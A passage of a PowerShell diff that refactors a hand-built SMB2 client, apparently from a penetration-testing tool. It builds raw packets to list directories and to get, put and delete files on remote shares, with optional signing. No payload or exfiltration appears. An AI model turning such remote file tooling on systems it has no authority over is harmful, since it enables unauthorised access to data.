$query_info_request_input_buffer_offset_1 $SMB_file_ID $query_info_request_buffer_1 - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + 'c0-00-00-22' + { - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + if($directory_list.Count -gt 0) + { + $directory_list.RemoveAt(0) > $null + } + else + { + $output_message = "[-] Access denied" + $share_subdirectory_start = $false + } - $SMB2_message_ID++ - $packet_SMB2b_header = Get-PacketSMB2Header 0x10,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2b_header["SMB2Header_ProcessID"] = $process_ID_bytes + $stage = 'CloseRequest' - if($SMB_signing) - { - $packet_SMB2b_header["SMB2Header_Flags"] = 0x0c,0x00,0x00,0x00 - } - else - { - $packet_SMB2b_header["SMB2Header_Flags"] = 0x04,0x00,0x00,0x00 - } + } - $packet_SMB2b_data = Get-PacketSMB2QueryInfoRequest $query_info_request_info_type_2 $query_info_request_file_info_class_2 $query_info_request_output_buffer_length_2 $query_info_request_input_buffer_offset_2 $SMB_file_ID $query_info_request_buffer_2 - $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header - $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length) ($SMB2_data.Length + $SMB2b_data.Length) - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + 'c0-00-00-34' + { - if($SMB_signing) - { - $SMB2_sign = $SMB2b_header + $SMB2b_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2b_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header - } + if($Action -eq 'Put') + { + $create_request_extra_info = 3 + $action_step++ + $stage = 'CreateRequest' + } + else + { + $output_message = "[-] File not found" + $stage = 'Exit' + } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + } - if($share_subdirectory_start) - { - $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) - $root_directory = $SMB2_file + 0x5c,0x00 - $create_request_extra_info = 1 - $SMB_client_stage = 'CreateRequest' - } - elseif($Action -eq 'Get') - { + 'c0-00-00-ba' + { + + if($Action -eq 'Put') + { + $output_message = "[-] Destination filname must be specified" + $stage = 'CloseRequest' + } - switch($action_step) - { + } - 5 - { - $query_info_response = [System.BitConverter]::ToString($SMB_client_receive) - $query_info_response = $query_info_response -replace "-","" - $file_stream_size_index = $query_info_response.Substring(10).IndexOf("FE534D42") + 170 - $file_stream_size = [System.BitConverter]::ToUInt32($SMB_client_receive[($file_stream_size_index / 2)..($file_stream_size_index / 2 + 8)],0) - $file_stream_size_quotient = [Math]::Truncate($file_stream_size / 65536) - $file_stream_size_remainder = $file_stream_size % 65536 - $percent_complete = $file_stream_size_quotient - - if($file_stream_size_remainder -ne 0) + default { - $percent_complete++ + $error_code = $error_code -replace "-","" + $output_message = "[-] Create request error code 0x$error_code" + $stage = 'Exit' } - - if($file_stream_size -lt 1024) + + } + + } + elseif($Action -eq 'Delete' -and $action_step -eq 2) + { + $set_info_request_file_info_class = 0x01 + $set_info_request_info_level = 0x0d + $set_info_request_buffer = 0x01,0x00,0x00,0x00 + $file_ID = $client_receive[132..147] + $stage = 'SetInfoRequest' + } + elseif($Action -eq 'Get' -and $action_step -ne 1) + { + + switch($action_step) + { + + 0 { - $progress_file_size = "" + $file_stream_size + "B" + $file_ID = $client_receive[132..147] + $action_step++ + $stage = 'CloseRequest' } - elseif($file_stream_size -lt 1024000) + + 2 { - $progress_file_size = "" + ($file_stream_size / 1024).ToString('.00') + "KB" + + if($file_size -lt 4096) + { + $read_request_length = $file_size + } + else + { + $read_request_length = 4096 + } + + $read_request_offset = 0 + $file_ID = $client_receive[132..147] + $action_step++ + $stage = 'ReadRequest' } - else + + 4 { - $progress_file_size = "" + ($file_stream_size / 1024000).ToString('.00') + "MB" + $header_next_command = 0x68,0x00,0x00,0x00 + $query_info_request_info_type_1 = 0x01 + $query_info_request_file_info_class_1 = 0x07 + $query_info_request_output_buffer_length_1 = 0x00,0x10,0x00,0x00 + $query_info_request_input_buffer_offset_1 = 0x68,0x00 + $query_info_request_buffer_1 = 0 + $query_info_request_info_type_2 = 0x01 + $query_info_request_file_info_class_2 = 0x16 + $query_info_request_output_buffer_length_2 = 0x00,0x10,0x00,0x00 + $query_info_request_input_buffer_offset_2 = 0x68,0x00 + $query_info_request_buffer_2 = 0 + $file_ID = $client_receive[132..147] + $action_step++ + $stage = 'QueryInfoRequest' } - $header_next_command = 0x70,0x00,0x00,0x00 - $query_info_request_info_type_1 = 0x02 - $query_info_request_file_info_class_1 = 0x01 - $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00 - $query_info_request_input_buffer_offset_1 = 0x00,0x00 - $query_info_request_buffer_1 = 8 - $query_info_request_info_type_2 = 0x02 - $query_info_request_file_info_class_2 = 0x05 - $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00 - $query_info_request_input_buffer_offset_2 = 0x00,0x00 - $query_info_request_buffer_2 = 1 - $action_step++ - $SMB_client_stage = 'QueryInfoRequest' } - 6 + } + elseif($Action -eq 'Put') + { + + switch($action_step) { - if($file_stream_size -lt 65536) + 0 { - $read_request_length = $file_stream_size + + if($Action -eq 'Put') + { + $output_message = "Destination file exists" + $stage = 'CloseRequest' + } + } - else + + 1 { - $read_request_length = 65536 + $file_ID = $client_receive[132..147] + $action_step++ + $header_next_command = 0x70,0x00,0x00,0x00 + $query_info_request_info_type_1 = 0x02 + $query_info_request_file_info_class_1 = 0x01 + $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00 + $query_info_request_input_buffer_offset_1 = 0x00,0x00 + $query_info_request_buffer_1 = 8 + $query_info_request_info_type_2 = 0x02 + $query_info_request_file_info_class_2 = 0x05 + $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00 + $query_info_request_input_buffer_offset_2 = 0x00,0x00 + $query_info_request_buffer_2 = 1 + $stage = 'QueryInfoRequest' } - $read_request_offset = 0 - $read_request_step = 1 - $action_step++ - $SMB_client_stage = 'ReadRequest' } } - } - elseif($Action -eq 'Put') - { - $percent_complete = $source_file_size_quotient - - if($source_file_size_remainder -ne 0) + elseif($share_subdirectory_start) { - $percent_complete++ + $file_ID = $client_receive[132..147] + $stage = 'CloseRequest' } - - if($source_file_size -lt 1024) + elseif($directory_list.Count -gt 0 -or $action_step -eq 1) { - $progress_file_size = "" + $source_file_size + "B" - } - elseif($source_file_size -lt 1024000) - { - $progress_file_size = "" + ($source_file_size / 1024).ToString('.00') + "KB" + $stage = 'FindRequest' } else { - $progress_file_size = "" + ($source_file_size / 1024000).ToString('.00') + "MB" - } - - $action_step++ - $set_info_request_file_info_class = 0x01 - $set_info_request_info_level = 0x14 - $set_info_request_buffer = [System.BitConverter]::GetBytes($source_file_size) - $SMB_client_stage = 'SetInfoRequest' - } - elseif($Action -eq 'Delete') - { - $SMB_client_stage = 'CreateRequest' - } - else - { - $SMB_client_stage = 'CreateRequestFindRequest' - } - - } + $header_next_command = 0x70,0x00,0x00,0x00 + $query_info_request_info_type_1 = 0x02 + $query_info_request_file_info_class_1 = 0x01 + $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00 + $query_info_request_input_buffer_offset_1 = 0x00,0x00 + $query_info_request_buffer_1 = 8 + $query_info_request_info_type_2 = 0x02 + $query_info_request_file_info_class_2 = 0x05 + $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00 + $query_info_request_input_buffer_offset_2 = 0x00,0x00 + $query_info_request_buffer_2 = 1 + $file_ID = $client_receive[132..147] + $stage = 'QueryInfoRequest' + + if($share_subdirectory) + { + $share_subdirectory_start = $true + } - 'SetInfoRequest' - { - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x11,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_ProcessID"] = $process_ID_bytes + } - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 } - $packet_SMB2_data = Get-PacketSMB2SetInfoRequest $set_info_request_file_info_class $set_info_request_info_level $SMB_file_ID $set_info_request_buffer - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) + 'CreateRequestFindRequest' { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2CreateRequest $file 1 + $packet_SMB2_data["DesiredAccess"] = 0x81,0x00,0x10,0x00 + $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00 $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if($source_file_size -le 65536) - { - $write_request_length = $source_file_size - } - else - { - $write_request_length = 65536 - } - - $write_request_offset = 0 - $write_request_step = 1 - - if($Action -eq 'Delete') - { - $output_message = "File deleted" - $SMB_client_stage = 'CloseRequest' - $action_step++ - } - elseif($Action -eq 'Put' -and $action_step -eq 4) - { - $output_message = "File uploaded" - $SMB_client_stage = 'CloseRequest' - } - else - { - $SMB_client_stage = 'WriteRequest' - } - - } - - 'CreateRequestFindRequest' - { - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_ProcessID"] = $process_ID_bytes - - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_SMB2_data = Get-PacketSMB2CreateRequest $SMB2_file 1 - $packet_SMB2_data["SMB2CreateRequest_DesiredAccess"] = 0x81,0x00,0x10,0x00 - $packet_SMB2_data["SMB2CreateRequest_ShareAccess"] = 0x07,0x00,0x00,0x00 - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_SMB2_header["SMB2Header_NextCommand"] = [System.BitConverter]::GetBytes($SMB2_header.Length + $SMB2_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_SMB2_header["NextCommand"] = [System.BitConverter]::GetBytes($SMB2_header.Length + $SMB2_data.Length) $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $SMB2_message_ID++ - $packet_SMB2b_header = Get-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2b_header["SMB2Header_ProcessID"] = $process_ID_bytes - $packet_SMB2b_header["SMB2Header_NextCommand"] = 0x68,0x00,0x00,0x00 - - if($SMB_signing) - { - $packet_SMB2b_header["SMB2Header_Flags"] = 0x0c,0x00,0x00,0x00 - } - else - { - $packet_SMB2b_header["SMB2Header_Flags"] = 0x04,0x00,0x00,0x00 - } - - $packet_SMB2b_data = Get-PacketSMB2FindRequestFile 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff 0x00,0x00,0x00,0x00,0x00,0x00 - $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header - $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - if($SMB_signing) - { - $SMB2_sign = $SMB2b_header + $SMB2b_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2b_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header - } - - $SMB2_message_ID++ - $packet_SMB2c_header = Get-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2c_header["SMB2Header_ProcessID"] = $process_ID_bytes - - if($SMB_signing) - { - $packet_SMB2c_header["SMB2Header_Flags"] = 0x0c,0x00,0x00,0x00 - } - else - { - $packet_SMB2c_header["SMB2Header_Flags"] = 0x04,0x00,0x00,0x00 - } - - $packet_SMB2c_data = Get-PacketSMB2FindRequestFile 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff - $packet_SMB2c_data["SMB2FindRequestFile_OutputBufferLength"] = 0x80,0x00,0x00,0x00 - $SMB2c_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_header - $SMB2c_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length + $SMB2c_header.Length) ($SMB2_data.Length + $SMB2b_data.Length + $SMB2c_data.Length) - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2c_header + $SMB2c_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2c_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2c_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data + $SMB2c_header + $SMB2c_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if($Action -eq 'Delete') - { - $SMB_client_stage = 'CreateRequest' - $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) - $action_step++ - } - else - { - $SMB_client_stage = 'ParseDirectoryContents' - } - - } - - 'ParseDirectoryContents' - { - $subdirectory_list = New-Object System.Collections.ArrayList - $create_response_file = [System.BitConverter]::ToString($SMB_client_receive) - $create_response_file = $create_response_file -replace "-","" - $directory_contents_mode_list = New-Object System.Collections.ArrayList - $directory_contents_create_time_list = New-Object System.Collections.ArrayList - $directory_contents_last_write_time_list = New-Object System.Collections.ArrayList - $directory_contents_length_list = New-Object System.Collections.ArrayList - $directory_contents_name_list = New-Object System.Collections.ArrayList - - if($directory_list.Count -gt 0) - { - $create_response_file_index = 152 - $directory_list.RemoveAt(0) > $null - } - else - { - $create_response_file_index = $create_response_file.Substring(10).IndexOf("FE534D42") + 154 - } - - do - { - $SMB_next_offset = [System.BitConverter]::ToUInt32($SMB_client_receive[($create_response_file_index / 2 + $SMB_offset)..($create_response_file_index / 2 + 3 + $SMB_offset)],0) - $SMB_file_length = [System.BitConverter]::ToUInt32($SMB_client_receive[($create_response_file_index / 2 + 40 + $SMB_offset)..($create_response_file_index / 2 + 47 + $SMB_offset)],0) - $SMB_file_attributes = [Convert]::ToString($SMB_client_receive[($create_response_file_index / 2 + 56 + $SMB_offset)],2).PadLeft(16,'0') - - if($SMB_file_length -eq 0) + if($SMB_signing) { - $SMB_file_length = $null + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } - if($SMB_file_attributes.Substring(11,1) -eq '1') + $message_ID++ + $packet_SMB2b_header = New-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2b_header["NextCommand"] = 0x68,0x00,0x00,0x00 + + if($SMB_signing) { - $SMB_file_mode = "d" + $packet_SMB2b_header["Flags"] = 0x0c,0x00,0x00,0x00 } else { - $SMB_file_mode = "-" + $packet_SMB2b_header["Flags"] = 0x04,0x00,0x00,0x00 } - if($SMB_file_attributes.Substring(10,1) -eq '1') - { - $SMB_file_mode+= "a" - } - else + $packet_SMB2b_data = New-PacketSMB2FindRequestFile 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff 0x00,0x00,0x00,0x00,0x00,0x00 + $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header + $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data + + if($SMB_signing) { - $SMB_file_mode+= "-" + $SMB2_sign = $SMB2b_header + $SMB2b_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2b_header["Signature"] = $SMB2_signature + $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header } - if($SMB_file_attributes.Substring(15,1) -eq '1') + $message_ID++ + $packet_SMB2c_header = New-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + + if($SMB_signing) { - $SMB_file_mode+= "r" + $packet_SMB2c_header["Flags"] = 0x0c,0x00,0x00,0x00 } else { - $SMB_file_mode+= "-" + $packet_SMB2c_header["Flags"] = 0x04,0x00,0x00,0x00 } - if($SMB_file_attributes.Substring(14,1) -eq '1') - { - $SMB_file_mode+= "h" - } - else + $packet_SMB2c_data = New-PacketSMB2FindRequestFile 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff + $packet_SMB2c_data["OutputBufferLength"] = 0x80,0x00,0x00,0x00 + $SMB2c_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_header + $SMB2c_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length + $SMB2c_header.Length) ($SMB2_data.Length + $SMB2b_data.Length + $SMB2c_data.Length) + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) { - $SMB_file_mode+= "-" + $SMB2_sign = $SMB2c_header + $SMB2c_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2c_header["Signature"] = $SMB2_signature + $SMB2c_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_header } - if($SMB_file_attributes.Substring(13,1) -eq '1') + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data + $SMB2c_header + $SMB2c_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if($Action -eq 'Delete') { - $SMB_file_mode+= "s" + $stage = 'CreateRequest' + $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) + $action_step++ } else { - $SMB_file_mode+= "-" + $stage = 'ParseDirectoryContents' + } + + } + + 'FindRequest' + { + $file_ID = $client_receive[132..147] + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_header["NextCommand"] = 0x68,0x00,0x00,0x00 + $packet_SMB2_data = New-PacketSMB2FindRequestFile $file_ID 0x00,0x00,0x00,0x00,0x00,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } - $file_create_time = [Datetime]::FromFileTime([System.BitConverter]::ToInt64($SMB_client_receive[($create_response_file_index / 2 + 8 + $SMB_offset)..($create_response_file_index / 2 + 15 + $SMB_offset)],0)) - $file_create_time = Get-Date $file_create_time -format 'M/d/yyyy h:mm tt' - $file_last_write_time = [Datetime]::FromFileTime([System.BitConverter]::ToInt64($SMB_client_receive[($create_response_file_index / 2 + 24 + $SMB_offset)..($create_response_file_index / 2 + 31 + $SMB_offset)],0)) - $file_last_write_time = Get-Date $file_last_write_time -format 'M/d/yyyy h:mm tt' - $SMB_filename_length = [System.BitConverter]::ToUInt32($SMB_client_receive[($create_response_file_index / 2 + 60 + $SMB_offset)..($create_response_file_index / 2 + 63 + $SMB_offset)],0) - $SMB_filename_unicode = $SMB_client_receive[($create_response_file_index / 2 + 104 + $SMB_offset)..($create_response_file_index / 2 + 104 + $SMB_offset + $SMB_filename_length - 1)] - $SMB_filename = [System.BitConverter]::ToString($SMB_filename_unicode) - $SMB_filename = $SMB_filename -replace "-00","" + $message_ID++ + $packet_SMB2b_header = New-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - if($SMB_filename.Length -gt 2) + if($SMB_signing) { - $SMB_filename = $SMB_filename.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_filename_extract = New-Object System.String ($SMB_filename,0,$SMB_filename.Length) + $packet_SMB2b_header["Flags"] = 0x0c,0x00,0x00,0x00 } else { - $SMB_filename_extract = [String][Char][System.Convert]::ToInt16($SMB_filename,16) + $packet_SMB2b_header["Flags"] = 0x04,0x00,0x00,0x00 } - if(!$Modify) + $packet_SMB2b_data = New-PacketSMB2FindRequestFile $file_ID + $packet_SMB2b_data["OutputBufferLength"] = 0x80,0x00,0x00,0x00 + $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header + $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length) ($SMB2_data.Length + $SMB2b_data.Length) + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) { - $file_last_write_time = $file_last_write_time.PadLeft(19,0) - [String]$SMB_file_length = $SMB_file_length - $SMB_file_length = $SMB_file_length.PadLeft(15,0) + $SMB2_sign = $SMB2b_header + $SMB2b_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2b_header["Signature"] = $SMB2_signature + $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header } - if($SMB_file_attributes.Substring(11,1) -eq '1') + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if($Action -eq 'Get' -and $action_step -eq 1) { + $find_response = [System.BitConverter]::ToString($client_receive) + $find_response = $find_response -replace "-","" + $file_unicode = [System.BitConverter]::ToString([System.Text.Encoding]::Unicode.GetBytes($source_file)) + $file_unicode = $file_unicode -replace "-","" + $file_size_index = $find_response.IndexOf($file_unicode) - 128 + $file_size = [System.BitConverter]::ToUInt32($client_receive[($file_size_index / 2)..($file_size_index / 2 + 7)],0) + $action_step++ + $create_request_extra_info = 1 + $stage = 'CreateRequest' - if($SMB_filename_extract -ne '.' -and $SMB_filename_extract -ne '..') + if($share_subdirectory -eq $file) { - $subdirectory_list.Add($SMB_filename_unicode) > $null - $directory_contents_name_list.Add($SMB_filename_extract) > $null - $directory_contents_mode_list.Add($SMB_file_mode) > $null - $directory_contents_length_list.Add($SMB_file_length) > $null - $directory_contents_last_write_time_list.Add($file_last_write_time) > $null - $directory_contents_create_time_list.Add($file_create_time) > $null + $file = [System.Text.Encoding]::Unicode.GetBytes($file) + } + else + { + $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) } } else { - $directory_contents_name_list.Add($SMB_filename_extract) > $null - $directory_contents_mode_list.Add($SMB_file_mode) > $null - $directory_contents_length_list.Add($SMB_file_length) > $null - $directory_contents_last_write_time_list.Add($file_last_write_time) > $null - $directory_contents_create_time_list.Add($file_create_time) > $null + $stage = 'ParseDirectoryContents' } - if($share_subdirectory -and !$share_subdirectory_start) - { - $root_directory_string = $share_subdirectory + '\' - } - - $SMB_offset += $SMB_next_offset } - until($SMB_next_offset -eq 0) - if($directory_contents_name_list) + 'IoctlRequest' { + $tree_ID = $client_receive[40..43] + $ioctl_path = "\" + $Target + "\" + $Share + $ioctl_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($ioctl_path) + 0x00,0x00 + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2IoctlRequest $ioctl_path_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - if($root_directory_string) - { - $file_directory = $target_share + "\" + $root_directory_string.Substring(0,$root_directory_string.Length - 1) - } - else + if($SMB_signing) { - $file_directory = $target_share + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $tree_ID = 0x00,0x00,0x00,0x00 + $stage = 'TreeConnect' } - $directory_contents_output = @() - $i = 0 - - ForEach($directory in $directory_contents_name_list) + 'Logoff' { - $directory_object = New-Object PSObject - Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Name -Value ($file_directory + "\" + $directory_contents_name_list[$i]) - Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Mode -Value $directory_contents_mode_list[$i] - Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Length -Value $directory_contents_length_list[$i] + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2SessionLogoffRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - if($Modify) + if($SMB_signing) { - Add-Member -InputObject $directory_object -MemberType NoteProperty -Name CreateTime -Value $directory_contents_create_time_list[$i] + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } - Add-Member -InputObject $directory_object -MemberType NoteProperty -Name LastWriteTime -Value $directory_contents_last_write_time_list[$i] - $directory_contents_output += $directory_object - $i++ + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + 